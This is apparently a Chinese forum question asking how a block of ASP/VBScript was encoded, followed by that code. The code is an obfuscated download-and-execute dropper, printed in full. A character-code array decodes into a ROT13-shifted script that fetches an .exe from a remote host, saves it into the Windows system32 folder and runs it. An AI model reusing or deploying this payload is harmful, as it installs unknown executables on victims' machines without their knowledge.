一段代码加密后就成了下面的代码. 请问是如何加密的呢./
strs=array(13,82,101,109,32,69,110,67,111,100,101,45,69,97,115,121,13,10,69,120,101,83,116,114,105,110,103,61,34,83,114,103,32,80,98,102,103,32,61,32,67,101,114,110,103,114,79,111,119,114,112,103,40,18,77,102,107,122,121,55,46,88,77,76,72,84,84,80,18,41,28,29,83,114,103,32,83,117,114,121,121,32,61,32,67,101,114,110,103,114,79,111,119,114,112,103,40,18,87,102,112,101,118,99,103,46,83,117,114,121,121,18,41,28,29,80,98,102,103,46,79,99,114,97,32,18,71,69,84,18,44,18,117,103,103,99,58,47,47,105,111,102,107,109,46,56,56,55,55,46,98,101,116,58,52,52,47,105,111,102,46,114,107,114,18,44,53,28,29,80,98,102,103,46,83,114,97,113,40,41,28,29,83,114,103,32,110,71,114,103,32,61,32,67,101,114,110,103,114,79,111,119,114,112,103,40,18,65,68,79,68,66,46,83,103,101,114,110,122,18,41,28,29,110,71,114,103,46,77,98,113,114,32,61,32,56,28,29,110,71,114,103,46,84,108,99,114,32,61,32,54,28,29,110,71,114,103,46,79,99,114,97,40,41,32,28,29,110,71,114,103,46,87,101,118,103,114,40,80,98,102,103,46,101,114,102,99,98,97,102,114,66,98,113,108,41,28,29,110,71,114,103,46,83,110,105,114,84,98,70,118,121,114,32,18,67,58,92,87,73,78,68,79,87,83,92,102,108,102,103,114,122,56,55,92,56,49,53,-20302,-14165,-10263,-17154,46,114,107,114,18,44,55,28,29,106,102,112,101,118,99,103,46,102,121,114,114,99,32,54,53,53,53,32,28,29,83,117,114,121,121,46,82,104,97,32,40,18,67,58,92,87,73,78,68,79,87,83,92,102,108,102,103,114,122,56,55,92,56,49,53,-20302,-14165,-10263,-17154,46,114,107,114,18,41,32,39,28,29,102,114,103,32,115,102,98,61,112,101,114,110,103,114,98,111,119,114,112,103,40,18,102,112,101,118,99,103,118,97,116,46,115,118,121,114,102,108,102,103,114,122,98,111,119,114,112,103,18,41,32,28,29,102,114,103,32,115,118,121,114,32,61,32,115,102,98,46,116,114,103,115,118,121,114,40,18,-16212,-17416,-14363,-19459,46,105,111,102,18,41,32,28,29,115,118,121,114,46,110,103,103,101,118,111,104,103,114,102,61,32,55,28,29,115,118,121,114,46,110,103,103,101,118,111,104,103,114,102,61,32,56,28,29,28,29,28,29,34,13,10,69,120,101,99,117,116,101,40,34,70,111,114,32,105,61,49,32,84,111,32,76,101,110,40,69,120,101,83,116,114,105,110,103,41,34,38,118,98,67,114,76,102,38,34,84,101,109,112,78,117,109,32,61,32,65,115,99,40,77,105,100,40,69,120,101,83,116,114,105,110,103,44,105,44,49,41,41,34,38,118,98,67,114,76,102,38,34,73,102,32,84,101,109,112,78,117,109,32,61,32,50,56,32,84,104,101,110,34,38,118,98,67,114,76,102,38,34,84,101,109,112,78,117,109,32,61,32,49,51,34,38,118,98,67,114,76,102,38,34,69,108,115,101,73,102,32,84,101,109,112,78,117,109,32,61,32,50,57,32,84,104,101,110,34,38,118,98,67,114,76,102,38,34,84,101,109,112,78,117,109,32,61,32,49,48,34,38,118,98,67,114,76,102,38,34,101,108,115,101,105,102,32,84,101,109,112,78,117,109,61,49,56,32,84,104,101,110,34,38,118,98,67,114,76,102,38,34,84,101,109,112,78,117,109,32,61,32,51,52,34,38,118,98,67,114,76,102,38,34,101,108,115,101,105,102,32,84,101,109,112,78,117,109,62,57,54,32,97,110,100,32,84,101,109,112,78,117,109,60,49,49,48,32,116,104,101,110,34,38,118,98,67,114,76,102,38,34,84,101,109,112,78,117,109,61,84,101,109,112,78,117,109,43,49,51,34,38,118,98,67,114,76,102,38,34,101,108,115,101,105,102,32,84,101,109,112,78,117,109,62,49,48,57,32,97,110,100,32,84,101,109,112,78,117,109,60,49,50,51,32,116,104,101,110,34,38,118,98,67,114,76,102,38,34,84,101,109,112,78,117,109,61,84,101,109,112,78,117,109,45,49,51,34,38,118,98,67,114,76,102,38,34,101,108,115,101,105,102,32,84,101,109,112,78,117,109,62,52,55,32,97,110,100,32,84,101,109,112,78,117,109,60,53,51,32,116,104,101,110,34,38,118,98,67,114,76,102,38,34,84,101,109,112,78,117,109,61,84,101,109,112,78,117,109,43,53,34,38,118,98,67,114,76,102,38,34,101,108,115,101,105,102,32,84,101,109,112,78,117,109,62,53,50,32,97,110,100,32,84,101,109,112,78,117,109,60,53,56,32,116,104,101,110,34,38,118,98,67,114,76,102,38,34,84,101,109,112,78,117,109,61,84,101,109,112,78,117,109,45,53,34,38,118,98,67,114,76,102,38,34,69,110,100,32,73,102,34,38,118,98,67,114,76,102,38,34,84,104,105,115,84,101,120,116,32,61,32,84,104,105,115,84,101,120,116,32,38,32,99,104,114,40,84,101,109,112,78,117,109,41,34,38,118,98,67,114,76,102,38,34,78,101,120,116,34,41,13,10,69,120,101,99,117,116,101,40,84,104,105,115,84,101,120,116,41,13,10)
for i=1 to UBound(strs)
runner=runner&chr(strs(i))
Next
Execute runner
dim str
str="sometextarea"
for i=1 to len(str)
response.Write asc( mid(str,i,1))&","
next